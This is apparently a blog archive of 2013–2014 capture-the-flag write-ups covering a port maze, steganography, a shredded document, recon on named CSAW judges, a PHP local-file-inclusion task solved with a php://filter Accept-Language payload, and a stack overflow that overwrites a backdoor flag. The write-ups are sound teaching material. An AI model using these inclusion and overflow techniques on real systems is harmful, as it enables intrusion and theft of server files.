Showing posts with label 100. Show all posts
Showing posts with label 100. Show all posts

Thursday, March 13, 2014

RuCTF Quals 2014 PPC 200 - Maze

We're given a hint (Universal dangerous positive) along with an IP (194.226.244.125) and a port (1024) to connect to.  They also gave us a password to connect:



We assumed it was UDP because of the hint.  Every time we attempted to use netcat UDP, however, it would not respond.  We just thought it was down, until eventually it connected once I decided try to connect using python instead.  I'm assuming that netcat didn't work because it was also sending the newline character with the sent password, so it would not authorize.

When you first connect, you are are told which directions you can go in the maze, which are other ports on the box.  The passwords for those directions are also given.



When you connect to any other port, however, you are not given the port number.  So, I guessed that the distance between the starting ports was the same for that entire specified direction and that it was the reverse distance for the opposite directions.

I wrote a script in python to reach each found port. The script can be found here.

The script to a awhile to run (~1 hour), since the maze was almost 256 by 256.  The port that contained the key was port 65534.  When I first say my script printed the response, I was confused because I didn't remember adding any printing.  Then I realized it was the key...



The key was RUCTF_77pd9u784g059t0z18hjtn5d

Wednesday, March 12, 2014

RuCTF Quals 2014 Web 100 - php

For this one, they give us a link to a website and tell us to find the key.

When you visit the site, you're greeted with the english or russian version of the Capture the Flag entry in Wikipedia:



From the hint, "Language was detect automatically", we figured we had to modify the Accept-Language header to obtain the key.

After several attempts, we found out that we have the page echo back any page we want, however, it will attempt to run any PHP code.  When we tried to have it echo back index.php, it would attempt to load the file infinitely because the file itself is attempting to echo itself:
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
...

After recalling some knowledge of PHP, I remember about the IO streams that you can call, such as php://stdout or php://stdin.

After some googling, I discovered the filter stream.  The filter stream can be used to read from a file, not only in its ASCII representation, but in several available formats.  We then decided to open index.php encoded in base64:

Accept-Language: php://filter/convert.base64-encode/resource=index.php


This worked and returned to us with the base64 encoding of index.php:

PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgcHJlIHsgd2lkdGg6IDY0MHB4OyB3aGl0ZS1zcGFjZTogbm9ybWFsOyB0ZXh0LWFsaWduOiBqdXN0aWZ5O307CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPGgyPkNURjwvaDI+Cjw/cGhwCiAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICRmbGFnID0gJzVjZjI3ZDliYWQyZmU5ZDk2ZDJiY2YyNWMzYjBiZDE0JzsKICAkb2sgICA9IDA7CiAgZm9yZWFjaChleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRzKSB7CiAgICAkbCA9IGV4cGxvZGUoJzsnLCAkcylbMF07CiAgICBpZiAoaW5jbHVkZSAkbCkgewogICAgICAkb2sgPSAxOwogICAgICBicmVhazsKICAgIH0KICB9CiAgaWYgKCEkb2spIHsKICAgIGluY2x1ZGUgJ2VuJzsKICAgIGVjaG8gJ0xhbmd1YWdlIHdhcyBub3QgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOignOwogIH0gZWxzZSB7CiAgICBlY2hvICdMYW5ndWFnZSB3YXMgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOiknOwogIH0KPz4KPGNlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==


This converts to:
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<?php
  header('Content-Type: text/html; charset=utf-8');
  $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
  $ok   = 0;
  foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) {
    $l = explode(';', $s)[0];
    if (include $l) {
      $ok = 1;
      break;
    }
  }
  if (!$ok) {
    include 'en';
    echo 'Language was not detect automatically :(';
  } else {
    echo 'Language was detect automatically :)';
  }
?>
<center>
</body>
</html>

The flag was 5cf27d9bad2fe9d96d2bcf25c3b0bd14

Tuesday, March 11, 2014

RuCTF Quals 2014 Stegano 100 - Cat's eye

We're given a tiny gif image for this challenge:







So, first things first, I opened the image using StegSolve.  I saved all 8 frames using the frame browser. I then wrote a python script (using PIL) that XOR'd the images pixel with each other.  The output was an image that looked similar to this:







I couldn't find any hidden data within the pixels of the image.  I then realized that the frames were using palettes, so the mode for the image in python was labeled as 'P'.  I decided to convert each one of the frames to mode 'RGBA' instead, because, originally, when I would get a pixel, it return a single value.  This way, I could then XOR each red, green, blue, and alpha value of each frame with each other.

I then modified my current script to XOR each of these 'RGBA' mode frames with each other.

I never checked the alpha channel previously or if the image originally had an alpha channel.  So, naturally I then found that there was no difference in the new images alpha channels.  I then set all alpha channel values to 255, so I could visually see the image (the XOR results were 0 since there was no difference between the images.)

I also noticed how some red pixels of the newly created XOR'd image were not all 0.  I then set any red pixel value that was not 0 to 255 so I could easily view a hidden image if there was one. The resulting image was this:







I immediately though that there was some sort of hidden text within those pixel values that were set.  So, I open the image in StegSolve.  I checked the red channel for steganography and found the key:




























 The key is  RUCTF_e4dd9f5cee307b322c3a27abe66e3df9


Source code for my script can be found here.

RuCTF Quals 2014 Misc 100 - Shredder

For this challenge, we're given an image of a shredded document:



Soon after, we discovered that the original paper document was a print screen of an email within GMail.  We eventually decided it would be easiest to print out the image and physically put the pieces back together.

Using our terrible school printing system, we eventually managed to print the image.  Alas, the image that was printed only contained about 3/4ths of the original image. 

So, I then put what pieces I had cut up together and looked at the original image for pieces I did not have. 


I ended up numbering the pieces of paper that contained the key, which eventually resulted in finding the actual key:


 Key is  RUCTF_TO_SHRED_IS_NOT_ENOUGH

Monday, September 23, 2013

CSAW 2013 Exploit 100

Credit to Ryan

For this challenge we are given two files exploit1 and exploit1.c (code snip it from program). Exploit1.c code snip it is as follows:
[snip]

void handle(int newsock) {
        int backdoor = 0;
        char buffer[1016];
        memset(buffer, 0, 1016);

        send(newsock, "Welcome to CSAW CTF.", 21, 0);
        recv(newsock, buffer, 1020, 0);
        buffer[1015] = 0;

        if ( backdoor ) {
               fd = fopen("./key", "r");
               fscanf(fd, "%s\n", buffer);
               send(newsock, buffer, 512, 0);
        }
        close(newsock);
}

[snip]

From the code snip it we can clearly tell the program allocates 1016 bytes for the buffer but reads in 1020 bytes. This can be confirmed in Ida Pro:




As the screen shot from Ida Pro shows the code will read in four more bytes then what is allocated for buf. This will cause the program to overwrite the values in var_D and var_C. The diagram of the stack is as follows:





To make the program print the key we need to make the value of var_C not equal zero. To do this we simply need to give the program an input string that is at least 1020 bytes long. This will overwrite var_C and force the program to run the logic that prints the key.



 We've lost the key since yesterday, will edit if we find it

CSAW Recon Challenges 2013 (Full List)


Alexander Taylor (Credit JvK, Darek, and social engineering by KD)


·         Downloaded Alexander Taylor's picture from the CSAW judges page (ataylor.png )



·         Ran pngcheck -f -v ataylor.png and got:
File: ataylor.png (274296 bytes)
  chunk IHDR at offset 0x0000c, length 13
    604 x 401 image, 24-bit RGB, non-interlaced
  chunk tEXt at offset 0x00025, length 43, keyword: These aren't the chunks you'
re looking for.
  chunk tEXt at offset 0x0005c, length 31, keyword: You can go about your busine
ss.
  chunk tEXt at offset 0x00087, length 11, keyword: Move along.
  chunk pHYs at offset 0x0009e, length 9: 11811x11811 pixels/meter (300 dpi)
  chunk xORk at offset 0x000b3, length 4:  illegal (unless recently approved) un
known, public chunk
  chunk IDAT at offset 0x000c3, length 16384
    zlib: deflated, 32K window, superfast compression
  chunk IDAT at offset 0x040cf, length 16384
  chunk IDAT at offset 0x080db, length 16384
  chunk IDAT at offset 0x0c0e7, length 16384
  chunk IDAT at offset 0x100f3, length 16384
  chunk IDAT at offset 0x140ff, length 16384
  chunk IDAT at offset 0x1810b, length 16384
  chunk IDAT at offset 0x1c117, length 16384
  chunk IDAT at offset 0x20123, length 16384
  chunk IDAT at offset 0x2412f, length 16384
  chunk IDAT at offset 0x2813b, length 16384
  chunk IDAT at offset 0x2c147, length 16384
  chunk IDAT at offset 0x30153, length 16384
  chunk IDAT at offset 0x3415f, length 16384
  chunk IDAT at offset 0x3816b, length 16384
  chunk IDAT at offset 0x3c177, length 16384
  chunk IDAT at offset 0x40183, length 11681
  chunk kTXt at offset 0x42f30, length 52:  illegal (unless recently approved) u
nknown, public chunk
  chunk IEND at offset 0x42f70, length 0
ERRORS DETECTED in ataylor.png
·         Illegal chunks? Hmmmmmm, time for a little hacker justice.
·         Used HxD to copy the data from the xORk and kTXt chunks (in hex format)
·         xORk suggested that a XOR was necessary
◦     the xORk value translated in ASCII to “CSAW”
·         Time for very messy Python!
kTXt = ''.join('28 36 38 2C 10 03 04 14 0A 15 08 14 02 07 08 18 0D 00 61 04 16 11 0B 12 00 07 61 03 0C 73 02 1F 02 1D 06 12 63 04 08 03 0B 1C 14 03 63 1D 0E 03 0A 10 04 2A 61 8F AC C1 00 00 00 00').split()
xORk = ''.join('43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57').split()
# Note that the xORk value is repeated to match the length of kTXt
for i in range(len(kTXt)):
     print(chr(int(kTXt[i], 16) ^ int(xORk[i], 16)), end="")
·         The result: key{SPECIFICATIONS SUBJECT TO CHANGE WITHOUT NOTICE}"Üí–CSAW
·         Ignore the weird shit at the end (I think I copied too many bytes in HxD?) and plug the key into the CSAW website

key{SPECIFICATIONS SUBJECT TO CHANGE WITHOUT NOTICE}



Julian Cohen (MG)

Last year Julian posted his new website to Reddit to give out the key (it was cockcab.com) so this year it's no different.  However, he posted  two new websites and we got stuck on one, deathbycats.com for a while. Until someone else noticed he had another new site:

http://omnom.nom.co/

Check out the IP instead of the domain to get the key.

We've lost the key since yesterday, but the write up here shows the key as
key{1a8024a820bdc7b31b79a2d3a9ae7c02}

Psifertex (Credit to JvK, MK, and Shada)


Navigate to last years answer (key.psifertex.com) and we're presented with this page:

We searched around a bit and found that Michael Vario is notorius for signing a bunch of other people's PGP key. So we search for "psifertex" on the MIT PGP site:  
http://pgp.mit.edu:11371/pks/lookup?search=psifertex&op=index&fingerprint=on



Follow the user ID link to: http://pgp.mit.edu:11371/pks/lookup?op=vindex&fingerprint=on&search=0x9FBEBC5EA827D636



Click on the keyID link (A827D636) to go to the PGP public key block: http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x9FBEBC5EA827D636

 Took a quick peek at the public key block in Notepad++, remove the newlines then feed that into a base64 decoder. Load that into a hex editor (such as HxD) and strip all besides a JPEG header that we found. Fix that header and extract exif data. We can now see an image, but its somewhat garbled. Here we can see something that looks like a key.



 Continue to stare at the screen for a while.. more staring.. and more staring.. Remember Michael Vario connection attempt the key "mvarioisnotmyhomeboy"

SUCCESS
key{mvarioisnotmyhomeboy}

Kevin Chung (KD)
Kevin's website shows graduation song (friends forever), key is not on his website (codekevin.com)



Cache, wayback machine are red herrings. Wayback machine does have a key, but according to Kevin that key was unintentional.

Judge page shows him winning high school forensics competition at CSAW
Navigate to https://hsf.isis.poly.edu/previous_winners/ getting there from googling CSAW High School Forensics Finalist kevin chung scroll down to Kevin chung in 2009, click the name... redirect to a key
https://hsf.isis.poly.edu/assets/uploads/pages/previous_winners/key.txt

key{who_in_the_world_is_kevin_chung}

historypeats (Credit to JvK)



historypeats is a GitHub user, with this recent change: "Removed some unnecessary key comments." https://github.com/historypeats/putscan/commit/a31512af6e8f2ae76bce11c0bd363f899e3488d1
which include:
 key{whatDidtheF0xSay?}
 


Brandon Edwards (Credit Clevernyyyy)

First Screen – Default Google Search – Notice pseudonym (drraid)




Some Recon social sites I usually visit once I find a pseudonym are:

·         Website

·         Reddit

·         LinkedIn

·         Facebook

·         GitHub

·         Etc

Find success on one of the sites:

Git Hub Screenshot – notice the huge flag (CSAW CTF Judge), he didn’t even put some stuff beforehand to hide it.


key{a959962111ea3fed179eb044d5b80407}

Odin

On IRC if you "/whois snOwDIN" you were given the hint "linked:chinesepies"

After Googling around we found nothing of importance until someone said to check to see if it was a username of a linkedin member..

Navigate to: http://www.linkedin.com/in/chinesespies

Find Eddie snowdin and a key
key{cookies_are_for_csaw}

Theodore Reed (KD)

Given prosauce.org, we are supposed to find a key.
So this one was a bit painful and took far too long because noob and whatnot.

After jacking around for a while searching for treed, teddy reed, theo reed, I decided I had lost my way and went back to his mainpage.. I proceeded to review his damn blog (all 9 pages) and all the links in those fucking pages for an hour. No key. I figure I'll check on the projects page again (http://prosauce.org/projects/) and see if I missed something. I reviewed the presentation and then loaded the video, just
like I had in the previous hour.

However, I missed checking comments on the video the previous hour



Notice there's only one comment and of course it has the key.

key{shmooconrocksglhfwithcsaw}